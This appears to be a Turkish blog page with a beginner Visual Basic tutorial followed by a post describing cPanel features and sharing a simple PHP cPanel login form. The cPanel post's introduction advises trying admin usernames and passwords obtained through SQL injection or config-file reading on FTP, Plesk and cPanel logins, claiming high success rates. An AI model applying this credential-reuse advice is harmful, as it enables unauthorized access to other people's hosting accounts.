Fakat hazir_ , otobus3 gibi degisken isimleri olabilir.

5. Bir modulde veya formda veya prosedurde birden fazla ayni isimde degisken belirtilemez

6. Degisken isimleri arasinda büyük küçük harf ayrimi yoktur. Yani “DENEME” ile “DENeme” veya “denEME” vey “dEnEmE” ayni degiskeni belirtmektedir. Zaten bir degiskeni belirtirken (Degisken belirtme) degiskeni nasil belirtiyorsak(büyük kücük harf bakimindan) bu degiskeni daha sonra da kullandimizda Visual Basic bu degiskeni, hemem belirtildigi sekile otomatik olarak döndürür.
Yani biz “DeNeME” adiyla bir degisken belirttikten sonra bunu “dENEme” sekliyle de kullansak Visual Basic onu hemen ilk belirtilme sekline çevirir.

Visual Basic ( Yeni Başlayanlar İçin ) 2

1.Temel Kavramlar Ve Kontrol Yapıları
Kontrol Yapıları:
Programlama dillerinde bilgileri işlemek için kullanılan araçlardan biri de koşullu bir ifadedir. Koşullu ifade bir özellik, değişken ve ya veride bulunan değere göre işlem yapmayı sağlar. Visual Basic de en önemli karar araçları If…Then ve Select Case ‘dir.
A- if , then , else karar yapısı : If karar yapısı, programdaki denetlememize ve çıkan sonuca göre hareket etmemizi sağlar. Birkaç farklı yapıda kullanılır.
Birinci Kullanım ; şart doğruysa Then den sonraki komutlar işletilir, değilse bunlar atlanır, program akışı devam eder. If karar yapısında şart oluşturulurken karşılaştırma operatörlerinden yararlanılır.
Örnek:
If ‘şart’ Then
Komutlar
End If
İkinci kullanım; şart doğruysa then’den sonraki komutlar işletilir. Doğru değilse, else’den sonraki komutlar işletilir.
Örnek:
Else
Komutlar
End If
B- Select Case Yapısı: Bir koşul yada değişken için olası değerlerin değerlendirilmesini sağlar. Diğer bir deyişle bir ifadenin diğerine göre komut yada komutların işletilmesini sağlar.
Örnek:
Select case Değişken
Case değer 1
Komutlar
Case değer 2
Komutlar
Case is < değer
Komutlar
Case is > değer
Komutlar
Case else
Komutlar
End select

2.Kontrollere Kod Ekleme

Döngüler:
Döngüler belirli işlemleri belirli sayıda ve ya herhangi bir şart sağlanana kadar tekrarlamak amacıyla kullanılır.
1.For Next Döngüsü: bu döngü belirli bir işlemi belirli bir sayıda çalıştırmamıza olanak sağlar. For değimi ile döngünün sayacı tanımlanır. Next değimi ile yönetilecek blok sona erer. Döngü her çalıştığında sayaç değeri artım değeri kadar artırılır. Eğer artım değeri belirtilmezse sayaç her seferinde bir artırılır. Sayacın artarak değil de azalarak çalışması isteniyorsa, step’ten sonra negatif sayı verilmelidir. Döngü devam ederken bazı şartlar gerçekleştiğinden döngüden çıkmak için exit-for komutu kullanılır.
Yapısı:
For sayaç = başlangıç değeri to bitiş değeri [Step Artım değeri]
Komutlar
Next sayaç
Örnek:
Private Sub Form_Load ()
Dim i as integer
Show
For i = 1 to 10
Print i,
Next i
End sub

2.Do…Loop Döngüleri
a) Do – While Loop, Do Loop – While
Belirtilen şart gerçekleştiği sürece döngü içerisindeki komutlar çalıştırılır. İkinci kullanımda şart döngüye girerken değil çıkarken kontrol edilir. Yani döngü içerisindeki kod en az bir defa çalışır.
Örnek:
Do While Şart
Komutlar
Loop
Örnek:
Do
Komutlar
Loop while şart
b)Do Until_Loop, Do_Loop Until
Belirtilen şart gerçekleşene kadar döngü içerisindeki komutlar gerçekleştirilir. İkinci kullanımda şart döngüden çıkartılırken kontrol edilir.
Örnek:
Do Until Şart
Komutlar
Loop
Örnek:
Do
Komutlar
Loop Until şart
Örnek:
Dim TL as single, Dolar as integer
Const Kur = 1.450.000
Do
TL = Inputbox (“TL’yi giriniz.”)
Loop While TL < 0 ya da Loop Until TL > 0
Dolar = TL/Kur
Msgbox & Dolar

3. Hata Bulma ve Ayıklama
Hatalar:
1- Söz dizimi hataları: Programdaki komutların yanlış ve ya eksik yazılmasından kaynaklanan hatalardır. Söz dizimi hatalarının bazıları programın tasarımı bazıları ise derlenmesi sırasında ortaya çıkar. Programın derlenmesi sırasında oluşan derleme hatasının (Compiler Error) sebebi mesaj penceresi ile programcıya bildirilir. Söz dizimi hataları giderilmeden program çalışmaz. Program kodu yazarken en çok oluşan söz dizimi hata türleri şunlardır:
* Dim değimi yazılıp Enter a basılması.
* Dim x,y, virgülden sonra değişkenin tanımlanmaması.
* Ifx = 1 ifadesinde x’in yanlış yazılması
* If bloğunda End If komutunun For bloğunda next’in unutulması vs.
2- Çalışma zamanı hataları (Run Time Error) : Programın çalışması sırasında çeşitli sebeplerden dolayı oluşan hatalara denir. Programın hatasız yazılmış olması programın hiç hata vermeyeceği anlamına gelmez. Kullanıcı ve ya diğer durumlardan kaynaklanan sebeplerden dolayı doğru yazılmış kodlarda hata verebilir. Çalışma zamanı hatalarına karşı herhangi bir önlem alınmazsa program hata verir ve kesilir. Çalışma sırasında oluşan hata kullanıcıya sayısal bir hata kodu ile bildirilir. Be kodlar On Error değimi ve Err nesnesş ile birlikte ele alınarak hataların değerlendirilmesi ve programın uygun biçimde yönlendirilmesi sağlanır.
Hata Kodları ve Hataları
6 = Ower Flow (Taşma)
11 = Divison by Zero (Sıfıra Bölme)
13 = Type Mismatch (Tip Uyumsuzluğu)
14 = Out of ****** Space (****** alanı yetersiz)
Hataları Giderme
Programcı olabilecek hataları önceden tahmin ederek bunlara uygun karşılıkları verebilecek kodları yazmak zorundadır. Hatalı satırlarda ve ya beklenmedik durumlarda makinenin kilitlenmesini önlemek ve ya kullanıcıyı problemden kurtarmak için bazı komutlar kullanılır. Hata oluşmadan önce mesaj vermek ve programın kontrolünü sağlamak için belli bir program parçasının yazılması gerekir.
Örnek:
On Error Go To Etiket
Komutlar
Exit Sub
Etiket
Hata ölçme satırları If Err.Number = 13 Then
Msgbox “Sayısal değer girin”
Resume
End If
End Sub
Gibi…

———————————————————————————————-

Asp-PErl-Html-Php

cpanel hakkinda bi kac sey

sa st ailesi baktım sitede cpanel dier adıyla controlpanel hakkında bı yazı yoktur onla ılgılı bıraz arastırmam bıraz da kendı bılgılerımı ekleyerek guzel bı calısma ortaya cıktı. bunuda sızınle paylasıyım dedım bazen sql enjectıondan admın adı ve passları cıkıyor bı cok arkadas admın panelını bulamıyor buldugumuz bu ad ve pass ları
ftp
plesk panel
control panel
admin panel de
denedıgımız zaman % 50-60 tutma ıhtımalı var tabı bu cpanel nedır ne degıldır onu bı anlamaya calısmalım en sonda da kendımın kodlamıs oldugu cpanel scrıptını sızlerle paylasacam.Ayrıca confıg okurken bulunan passların cpanelde tutma ıhtımalı %80-90 dır. cpanelın port numarasını da verıyım
ornegin:
http://www.godoot.com:2082
seklinde dedır.. arkadaslar ben bu yazıya cok emek verdım alıntı yapmak serbest ama alıntı oldugunu kımde alıntı oldugu yazılırsa memnun kalırım bazı ılerı zekalar copy paste yaparak yazılarımı kendılerıne mal edıyorlar bazen googlede bakıyorum adam benım konuları hıc edıtlemeden sıtesınde acmıs gulup gecıyorum boylelerıne adam barı caldın edıtler nese konuyu uzatmadan anlatıma geceyım ben

selametle
cPanel Nedir?

Yardım cPanel, hosting hesabınız ile ilgili işlemleri kendiniz yapabileceğiniz bir kontrol panelidir. Hosting hesapları ile birlikte ücretsiz olarak sağlanmaktadır. cPanel üzerinden;

* Disk ve trafik kullanım bilgilerinizi görebilir

* Email hesapları açabilir ve yönetebilir

* Şifrenizi değiştirebilir

* Domain park edebilir

* Eklenmiş domainleri görebilir

* FTP yöneticisi, dosya yöneticisi gibi araçlara ulaşabilir

* Yedekleme yapabilir

* Klasörlerinizi şifreleyebilir

* Hata sayfalarınızı değiştirebilir

* Alt alan adı yaratabilir, yönlendirebilir, silebilir

* MySQL veritabanı yaratabilir ve düzenleyebilir

* PostgreSQL veritabanı yaratabilir ve düzenleyebilir

* Sitenizi yönlendirebilir, yönlendirmeleri düzenleyebilir

* Frontpage uzantılarını yükleyebilir ve temizleyebilir

* Web ve FTP istatistiklerinize erişebilir

* ‘Raw Access Logs’ indirebilir

* Hata kayıtlarına ulaşabilir

* Altalan adı istatistiklerinizi görebilir

* Chat sayfası yaratabilir

* Hazır CGI scriptleri kullanabilir

* Interchange ve Agora gibi alışveriş sepetlerini kurabilir

* Cronjobs kurabilir

* Network araçlarını kullanabilir

* MIME tiplerini düzenleyebilir

* Hotlink koruması sağlayabilir

* Indeksleme ayarlarını değiştirebilir

* IP adreslerini yasaklayabilir

ve benzeri onlarca ayar ve düzenlemeyi kendiniz yapabilirsiniz…

cPanel Arayüz

Yardım cPanel genel olarak birkaç ana bölümden oluşmaktadır. Bu bölümler ve açıklamaları alttaki kısmı referans alınarak;

1. Home, Ana sayfa kısayolu ile herhangi bir menü içinden en kolay şekilde ana sayfaya dönebilirsiniz. Logout, Çıkış ile cPanel’den güvenli olarak çıkabilirsiniz.

2. Bu satırda yönettiğiniz domain adını ve son olarak bağlandığınız adresi görebilirsiniz. IP adresiniz sabit ise bu bilgiyi takip ederek sizden başkalarının cPanel’e erişmediğine emin olabilirsiniz.

3. General account information, Genel hesap bilgileri ile hosting hesabınıza ait kullanım bilgilerini görebilirsiniz.

4. cPanel menu, bu menü ile hosting hesabınızla ilgili bilgilere ulaşabilir, işlemlerinizi yapabilirsiniz.

5. General server information, Genel sunucu bilgisi ile sunucu ve yazılımlar ile ilgili detaylara erişebilirsiniz.

cPanel Hesap Bilgileri

Hosting package
Hosting paketi, BiLG.iNFO hosting seçeneğinizi belirtir.

Subdomains
Altalan adları, bu satırdaki ilk sayı toplam altalan adınızı, ikinci sayı (yada yazı) altalan limitinizi belirtir. BiLG.iNFO paketlerinde unlimited (sınırsız) altalan adı bulunmaktadır.

Parked Domains
Park edilmiş domain adları, web siteniz için kullandığınız diğer domain adlarının sayısını belirtir. BiLG.iNFO paketlerinde unlimited (sınırsız) domain park bulunmaktadır.

Addon Domains
Hesabınıza eklenmiş domain adlarını ve toplam limiti gösterir. Domain point özelliğinde belirtilen miktarda farklı web sitelerini hesabınız altındaki klasörlerde farklı içerikler ile host edebilirsiniz.

MySQL Databases
Hesabınızda tanımlanmış MySQL veritabanları ve toplam limiti gösterir. BiLG.iNFO paketlerinde unlimited MySQL databases, sınırsız MySQL veritabanı bulunmaktadır.

Postgresql Databases
Hesabınızda tanımlanmış Postgresql veritabanları ve toplam limiti gösterir. BiLG.iNFO paketlerinde unlimited Postgresql databases, sınırsız Postgresql veritabanı bulunmaktadır.

Disk usage
Disk kullanımı, hesabınızın toplam disk alanı kullanımını gösterir. Bu kullanım, dosyalarınız, emailleriniz, veritabanlarınız gibi tüm verilerinizin toplamıdır.

SQL Disk usage
SQL Disk kullanımı, MySQL ve Postgresql veritabanlarınızın içerdiği veri miktarını gösterir.

Disk space available
Kullanılabilir disk alanı, hosting paketinize göre kalan kullanabileceğiniz toplam veri miktarını gösterir.

Bandwidth usage
Aylık bantgenişliği kullanımı, bulunduğunuz ay içinde sitenizin http, ftp, pop ve diğer portlarda toplam olarak kullandığı veri iletişiim trafiğidir.

Email Accounts
Email hesapları, tanımlanmış olan email hesapları sayısını ve limiti gösterir. BiLG.iNFO paketlerinde unlimited email, sınırsız email bulunmaktadır.

Email Forwarders
Email yönlendiricileri, tanımlanmış olan email yönlendirme sayısını ve limiti gösterir. BiLG.iNFO paketlerinde unlimited email forwarders, sınırsız email yönlendirme bulunmaktadır.

Autoresponders
Email otomatik cevaplayıcı, tanımlanmış olan otomatik email cevaplayıcı sayısını ve limiti gösterir. BiLG.iNFO paketlerinde unlimited autoresponders, sınırsız otomatik email cevaplayıcı bulunmaktadır.

Mailing Lists
Email haberleşme listeleri, tanımlanmış olan email email haberleşme listelesi sayısını ve limiti gösterir. BiLG.iNFO paketlerinde unlimited mailing lists, sınırsız email haberleşme listesi bulunmaktadır.

Email filters
Email filtresi, tanımlanmış olan email filtreleme kurallarının sayısını gösterir.

FTP Accounts
FTP hesapları, tanımlanmış olan ftp hesapları sayısını ve limiti gösterir. BiLG.iNFO paketlerinde unlimited ftp, sınırsız ftp hesabı bulunmaktadır.

cPanel Sunucu Bilgileri

Yardım cPanel, sunucu bilgileri sütunu ile sunucu işletim sistemi, servis durumu, çekirdek versiyonu, apache versiyonu ve benzeri donanım ve yazılım bilgilerine ulaşabilirsiniz. Bu sütun cPanel içinde sol alt bölümde bulunmaktadır.

cPanel Sunucu Bilgileri

Operating System
İşletim sistemi, BiLG.iNFO RedHat Linux işletim sistemi üzerinde hosting sağlamaktadır. Kontrol panelinizden sunucunun işletim sistemi bilgisine ulaşabilirsiniz..

Service Status
Servis durumu, bu satırda bulunan link ile sunucu üzerindeki email, mysql ve diğer servislerin durumu hakkında bilgilere ulaşabilirsiniz.

Kernel version
Çekirdek versiyonu, işletim sisteminin çekirdek sürümünü gösterir.

Apache version
Apache web sunucusunun sürümünü gösterir.

PERL version
Perl sürümünü gösterir.

Path to PERL
PERL klasörü, PERL scriptleriniz için klasörün yolunu gösterir.

Path to sendmail
Sendmail için klasör yolunu gösterir.

Installed Perl Modules
Yüklü Perl Modülleri, sunucu üzerinde yüklü bulunan Perl modüllerinin listesini ve açıklamalarını gösterir.

PHP version
PHP sürümünü gösterir.

MySQL version
MySQL sürümünü gösterir.

cPanel Build
cPanel sürümünü gösterir.

Theme
cPanel temasını ve sürümünü gösterir.

BUDA KENDİMİN KODLAMIŞ OLDUGU CPANEL SCRİPTİ:

Kod:
<?php
#cPanel
$protocol = ‘http’;
$port = 2082; 

#Secure cPanel
#$protocol = ‘https’;
#$port = 2083;
?>
<style type=”text/css”>
<!–
.style1 {
color: #FF9900;
font-size: 16px;
}
.style3 {color: #FF9900; font-weight: bold; }
–>
</style>

<h2>Kontrol Paneli Giriş </h2>

<?php
if ($_GET[‘failed’] == “1”) {
?>
<div style=”color: red; font-size: x-small;”>giriş başarısız</div>
<pre><?php
}
print “<form action=\”” . $protocol . “://” . $_SERVER[‘HTTP_HOST’] . “:” . $port . “/login/\”
method=POST>”;
?> <span>Kullanıcı adı:</span>  <input type=text name=user>
<span>  Şifre        :</span><strong>  <input type=password name=pass /> </strong>
<?php
print “<input type=hidden name=failurl value=\”http://&#8221; .  $_SERVER[‘HTTP_HOST’] . $_SERVER[‘PHP_SELF’] . “?failed=1\”>”;
?> <input type=submit value=giriş>
</pre>
</form>

 

Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Google+ fotoğrafı

Google+ hesabınızı kullanarak yorum yapıyorsunuz. Log Out / Değiştir )

Connecting to %s

Etiket Bulutu

%d blogcu bunu beğendi: